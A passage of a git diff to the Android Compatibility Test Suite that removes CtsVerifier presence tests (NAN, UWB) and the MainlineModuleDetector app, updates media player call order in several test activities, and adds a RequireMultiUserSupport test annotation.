-        mMeasurementRange3mGt90p = (EditText) findViewById(R.id.distance_range_3m_gt_90p);
-        mMeasurementRange5mGt90p = (EditText) findViewById(R.id.distance_range_5m_gt_90p);
-        mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_WIFI_AWARE);
-
-        mBandwidthMhz.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange10cmGt68p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange1mGt68p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange3mGt68p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange5mGt68p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange10cmGt90p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange1mGt90p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange3mGt90p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mMeasurementRange5mGt90p.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mReferenceDeviceInput.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-    }
-
-    private void checkTestInputs() {
-        getPassButton().setEnabled(checkMeasurementRange68thPercentileInput()
-                && checkMeasurementRange90thPercentileInput()
-                && checkReferenceDeviceInput());
-    }
-
-    private boolean checkMeasurementRange68thPercentileInput() {
-        return checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt68p,
-                mMeasurementRange1mGt68p, mMeasurementRange3mGt68p, mMeasurementRange5mGt68p);
-    }
-
-    private boolean checkMeasurementRange90thPercentileInput() {
-        String measurementRangeInput10cmGt90p = mMeasurementRange10cmGt90p.getText().toString();
-        String measurementRangeInput1mGt90p = mMeasurementRange1mGt90p.getText().toString();
-        String measurementRangeInput3mGt90p = mMeasurementRange3mGt90p.getText().toString();
-        String measurementRangeInput5mGt90p = mMeasurementRange5mGt90p.getText().toString();
-        List<String> optionalMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt90p,
-                measurementRangeInput1mGt90p,
-                measurementRangeInput3mGt90p, measurementRangeInput5mGt90p);
-
-        boolean inputted = false;
-        for (String input : optionalMeasurementRangeList) {
-            if (!input.isEmpty()) {
-                inputted = true;
-                break;
-            }
-        }
-        // If one of the ranges is inputted for one of the distances, then it becomes required
-        // that the ranges are inputted for all the distances and for tests to pass, must be
-        // acceptable values
-        return !inputted || checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt90p,
-                mMeasurementRange1mGt90p, mMeasurementRange3mGt90p, mMeasurementRange5mGt90p);
-    }
-
-    private boolean checkRequiredMeasurementRangeInput(EditText rangeInput10cm,
-            EditText rangeInput1m, EditText rangeInput3m, EditText rangeInput5m) {
-        String bandwidthInputMhz = mBandwidthMhz.getText().toString();
-        String measurementRangeInput10cmGt = rangeInput10cm.getText().toString();
-        String measurementRangeInput1mGt = rangeInput1m.getText().toString();
-        String measurementRangeInput3mGt = rangeInput3m.getText().toString();
-        String measurementRangeInput5mGt = rangeInput5m.getText().toString();
-        List<String> requiredMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt,
-                measurementRangeInput1mGt,
-                measurementRangeInput3mGt, measurementRangeInput5mGt);
-
-        for (String input : requiredMeasurementRangeList) {
-            if (bandwidthInputMhz.isEmpty() || input.isEmpty()) {
-                // Distance range must be inputted for all fields so fail early otherwise
-                return false;
-            }
-            if (!BANDWIDTH_TO_THRESHOLD_MAP.containsKey(Integer.parseInt(bandwidthInputMhz))) {
-                // bandwidth must be one of the expected thresholds
-                return false;
-            }
-            double distanceRange = Double.parseDouble(input);
-            int bandwidth = Integer.parseInt(bandwidthInputMhz);
-            if (distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) {
-                // All inputs must be in acceptable range so fail early otherwise
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private boolean checkReferenceDeviceInput() {
-        // Reference device used must be inputted before test can be passed.
-        return !mReferenceDeviceInput.getText().toString().isEmpty();
-    }
-
-    @Override
-    public void recordTestResults() {
-        String nanBandwidthMhz = mBandwidthMhz.getText().toString();
-        String measurementRange10cmGt68p = mMeasurementRange10cmGt68p.getText().toString();
-        String measurementRange1mGt68p = mMeasurementRange1mGt68p.getText().toString();
-        String measurementRange3mGt68p = mMeasurementRange3mGt68p.getText().toString();
-        String measurementRange5mGt68p = mMeasurementRange5mGt68p.getText().toString();
-        String measurementRange10cmGt90p = mMeasurementRange10cmGt90p.getText().toString();
-        String measurementRange1mGt90p = mMeasurementRange1mGt90p.getText().toString();
-        String measurementRange3mGt90p = mMeasurementRange3mGt90p.getText().toString();
-        String measurementRange5mGt90p = mMeasurementRange5mGt90p.getText().toString();
-        String referenceDevice = mReferenceDeviceInput.getText().toString();
-
-        if (!nanBandwidthMhz.isEmpty()) {
-            Log.i(TAG, "NAN Bandwidth at which data was collected: " + nanBandwidthMhz);
-            getReportLog().addValue(KEY_BANDWIDTH,
-                    Integer.parseInt(nanBandwidthMhz),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange10cmGt68p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_68P,
-                    Double.parseDouble(measurementRange10cmGt68p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange1mGt68p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt68p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_68P,
-                    Double.parseDouble(measurementRange1mGt68p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange3mGt68p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt68p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_68p,
-                    Double.parseDouble(measurementRange3mGt68p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange5mGt68p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt68p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_68p,
-                    Double.parseDouble(measurementRange5mGt68p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange10cmGt90p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_90P,
-                    Double.parseDouble(measurementRange10cmGt90p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange1mGt90p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt90p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_90P,
-                    Double.parseDouble(measurementRange1mGt90p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange3mGt90p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt90p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_90p,
-                    Double.parseDouble(measurementRange3mGt90p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!measurementRange5mGt90p.isEmpty()) {
-            Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt90p);
-            getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_90p,
-                    Double.parseDouble(measurementRange5mGt90p),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "NAN Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS
deleted file mode 100644
index e874499..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bug component: 1106357
-asalo@google.com
-jbabs@google.com
-christinatao@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java
deleted file mode 100644
index 6776693..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.SystemProperties;
-
-import com.android.cts.verifier.ManifestTestListAdapter;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class PresenceTestActivity extends PassFailButtons.TestListActivity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.pass_fail_list);
-        setPassFailButtonClickListeners();
-
-        List<String> disabledTest = new ArrayList<String>();
-        boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-        if (isTv) {
-            setInfoResources(R.string.presence_test, R.string.presence_test_tv_info, -1);
-            int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
-            if (firstSdk < Build.VERSION_CODES.TIRAMISU) {
-                disabledTest.add("com.android.cts.verifier.presence.UwbPrecisionActivity");
-                disabledTest.add("com.android.cts.verifier.presence.UwbShortRangeActivity");
-                disabledTest.add("com.android.cts.verifier.presence.BleRssiPrecisionActivity");
-                disabledTest.add("com.android.cts.verifier.presence.BleRxTxCalibrationActivity");
-                disabledTest.add("com.android.cts.verifier.presence.BleRxOffsetActivity");
-                disabledTest.add("com.android.cts.verifier.presence.BleTxOffsetActivity");
-                disabledTest.add("com.android.cts.verifier.presence.NanPrecisionTestActivity");
-            }
-        } else {
-            setInfoResources(R.string.presence_test, R.string.presence_test_info, -1);
-        }
-
-        setTestListAdapter(new ManifestTestListAdapter(this, PresenceTestActivity.class.getName(),
-                disabledTest.toArray(new String[disabledTest.size()])));
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
deleted file mode 100644
index 5d1ff86..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Activity for testing that UWB distance and angle of arrival measurements are within the right
- * range.
- */
-public class UwbPrecisionActivity extends PassFailButtons.Activity {
-    private static final String TAG = UwbPrecisionActivity.class.getName();
-    // Report log schema
-    private static final String KEY_DISTANCE_RANGE_CM = "distance_range_cm";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-    // Thresholds
-    private static final int MAX_DISTANCE_RANGE_CM = 30;
-
-    private EditText mDistanceRangeInput;
-    private EditText mReferenceDeviceInput;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.uwb_precision);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        mDistanceRangeInput = (EditText) findViewById(R.id.distance_range_cm);
-        mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_UWB);
-
-        mDistanceRangeInput.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mReferenceDeviceInput.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-    }
-
-    private void checkTestInputs() {
-        getPassButton().setEnabled(
-                checkDistanceRangeInput() && checkReferenceDeviceInput());
-    }
-
-    private boolean checkDistanceRangeInput() {
-        String distanceRangeInput = mDistanceRangeInput.getText().toString();
-        if (!distanceRangeInput.isEmpty()) {
-            double distanceRange = Double.parseDouble(distanceRangeInput);
-            // Distance range must be inputted and within acceptable range before test can be
-            // passed.
-            return distanceRange <= MAX_DISTANCE_RANGE_CM;
-        }
-        return false;
-    }
-
-    private boolean checkReferenceDeviceInput() {
-        // Reference device must be inputted before test can be passed.
-        return !mReferenceDeviceInput.getText().toString().isEmpty();
-    }
-
-    @Override
-    public void recordTestResults() {
-        String distanceRange = mDistanceRangeInput.getText().toString();
-        String referenceDevice = mReferenceDeviceInput.getText().toString();
-        if (!distanceRange.isEmpty()) {
-            Log.i(TAG, "UWB Distance Range: " + distanceRange);
-            getReportLog().addValue(KEY_DISTANCE_RANGE_CM, Double.parseDouble(distanceRange),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "UWB Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
deleted file mode 100644
index 7f14800..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Activity for testing that UWB distance measurements are within the acceptable median.
- */
-public class UwbShortRangeActivity extends PassFailButtons.Activity {
-    private static final String TAG = UwbShortRangeActivity.class.getName();
-    // Report log schema
-    private static final String KEY_DISTANCE_MEDIAN_CM = "distance_median_cm";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-    // Median Thresholds
-    private static final double MIN_MEDIAN = 0.75;
-    private static final double MAX_MEDIAN = 1.25;
-    private EditText mMedianInput;
-    private EditText mReferenceDeviceInput;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.uwb_short_range);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        mMedianInput = (EditText) findViewById(R.id.distance_median_meters);
-        mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_UWB);
-
-        mMedianInput.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mReferenceDeviceInput.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-    }
-
-    private void checkTestInputs() {
-        getPassButton().setEnabled(checkMedianInput() && checkReferenceDeviceInput());
-    }
-
-    private boolean checkMedianInput() {
-        String medianInput = mMedianInput.getText().toString();
-        if (!medianInput.isEmpty()) {
-            double median = Double.parseDouble(medianInput);
-            return median >= MIN_MEDIAN && median <= MAX_MEDIAN;
-        }
-        return false;
-    }
-
-    private boolean checkReferenceDeviceInput() {
-        return !mReferenceDeviceInput.getText().toString().isEmpty();
-    }
-
-    @Override
-    public void recordTestResults() {
-        String medianInput = mMedianInput.getText().toString();
-        String referenceDeviceInput = mReferenceDeviceInput.getText().toString();
-        if (!medianInput.isEmpty()) {
-            Log.i(TAG, "UWB Distance Median: " + medianInput);
-            getReportLog().addValue(KEY_DISTANCE_MEDIAN_CM, Double.parseDouble(medianInput),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        if (!referenceDeviceInput.isEmpty()) {
-            Log.i(TAG, "UWB Reference Device: " + referenceDeviceInput);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDeviceInput, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
index 055f26f..c0df10c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -66,9 +66,9 @@
 
     private void playVideo() {
         try {
-            mPlayer.start();
             mPlayer.prepare();
-            mPlayer.startThread();
+            mPlayer.startCodec();
+            mPlayer.play();
             mHandler.postDelayed(this::pauseStep, 5000);
         } catch(Exception e) {
             Log.d(TAG, "Could not play video", e);
@@ -95,7 +95,7 @@
 
     private void resumeStep() {
         try {
-            mPlayer.start();
+            mPlayer.resume();
             mHandler.postDelayed(this::enablePassButton, 3000);
         } catch(Exception e) {
             Log.d(TAG, "Could not resume video", e);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
new file mode 100644
index 0000000..4744ab8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
@@ -0,0 +1,3 @@
+# Buganizer component id: 687598
+blindahl@google.com
+narcisaam@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
index 0163c62..c446143 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
@@ -209,10 +209,10 @@
 
     private void playVideo() {
         try {
-            mPlayer.start();
             mPlayer.prepare();
+            mPlayer.startCodec();
             mPlayer.setLoopEnabled(true);
-            mPlayer.startThread();
+            mPlayer.play();
         } catch (Exception e) {
             Log.d(TAG, "Could not play the video.", e);
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
index 641ab20..94ef536 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
@@ -221,10 +221,10 @@
 
     private void playVideo() {
         try {
-            mPlayer.start();
             mPlayer.prepare();
+            mPlayer.startCodec();
             mPlayer.setLoopEnabled(true);
-            mPlayer.startThread();
+            mPlayer.play();
         } catch (Exception e) {
             Log.d(TAG, "Could not play video", e);
         }
diff --git a/apps/MainlineModuleDetector/Android.bp b/apps/MainlineModuleDetector/Android.bp
deleted file mode 100644
index 2cba39f..0000000
--- a/apps/MainlineModuleDetector/Android.bp
+++ /dev/null
@@ -1,38 +0,0 @@
-//
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    // See: http://go/android-license-faq
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test {
-    name: "MainlineModuleDetector",
-    defaults: ["cts_defaults"],
-    static_libs: ["compatibility-device-util-axt"],
-    // Disable dexpreopt and <uses-library> check for test.
-    enforce_uses_libs: false,
-    dex_preopt: {
-        enabled: false,
-    },
-    srcs: ["src/**/*.java"],
-    sdk_version: "current",
-    test_suites: [
-        "cts",
-        "general-tests",
-        "sts",
-    ],
-}
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
deleted file mode 100644
index dce1cae..0000000
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="com.android.cts.mainlinemoduledetector"
-     android:versionCode="1"
-     android:versionName="1.0">
-
-    <application>
-        <activity android:name=".MainlineModuleDetector"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
deleted file mode 100644
index 8f076a8..0000000
--- a/apps/MainlineModuleDetector/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 195645
-manjaepark@google.com
-mspector@google.com
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
deleted file mode 100644
index 01c02c7..0000000
--- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.mainlinemoduledetector;
-
-import android.app.Activity;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.compatibility.common.util.mainline.MainlineModule;
-import com.android.compatibility.common.util.mainline.ModuleDetector;
-
-import java.util.HashSet;
-import java.util.Set;
-
-public class MainlineModuleDetector extends Activity {
-
-    private static final String LOG_TAG = "MainlineModuleDetector";
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        try {
-            PackageManager pm = getApplicationContext().getPackageManager();
-            Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
-            Set<String> moduleNames = new HashSet<>();
-            for (MainlineModule module : modules) {
-                moduleNames.add(module.packageName);
-            }
-            Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
-        } catch (Exception e) {
-            Log.e(LOG_TAG, "Failed to retrieve modules.", e);
-        }
-        this.finish();
-    }
-}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java
new file mode 100644
index 0000000..03d21f4
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation to indicate that a test requires multi-user support.
+ *
+ * <p>This can be enforced by using {@code DeviceState}.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+//@Experimental
+public @interface RequireMultiUserSupport {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index b28b815..7bd649d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -67,6 +67,7 @@
 import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireHeadlessSystemUserMode;
 import com.android.bedstead.harrier.annotations.RequireLowRamDevice;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
 import com.android.bedstead.harrier.annotations.RequireNotHeadlessSystemUserMode;
 import com.android.bedstead.harrier.annotations.RequireNotLowRamDevice;
 import com.android.bedstead.harrier.annotations.RequirePackageInstalled;
@@ -786,6 +787,12 @@
                 ensureGlobalSettingSet(
                         ensureGlobalSettingSetAnnotation.key(),
                         ensureGlobalSettingSetAnnotation.value());
+                continue;
+            }
+
+            if (annotation instanceof RequireMultiUserSupport) {
+                requireMultiUserSupport();
+                continue;
             }
         }
 
@@ -2528,4 +2535,9 @@
         }
         TestApis.settings().global().putString(key, value);
     }
+
+    private void requireMultiUserSupport() {
+        assumeTrue("This test is only supported on multi user devices",
+                TestApis.users().supportsMultipleUsers());
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
index 30a642e..4b9e87e 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.nene.bluetooth;
 
 import static android.os.Build.VERSION_CODES.R;
+import static android.os.Process.BLUETOOTH_UID;
 
 import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH;
 import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_CONNECT;
@@ -25,21 +26,24 @@
 import static com.android.bedstead.nene.permissions.CommonPermissions.NETWORK_SETTINGS;
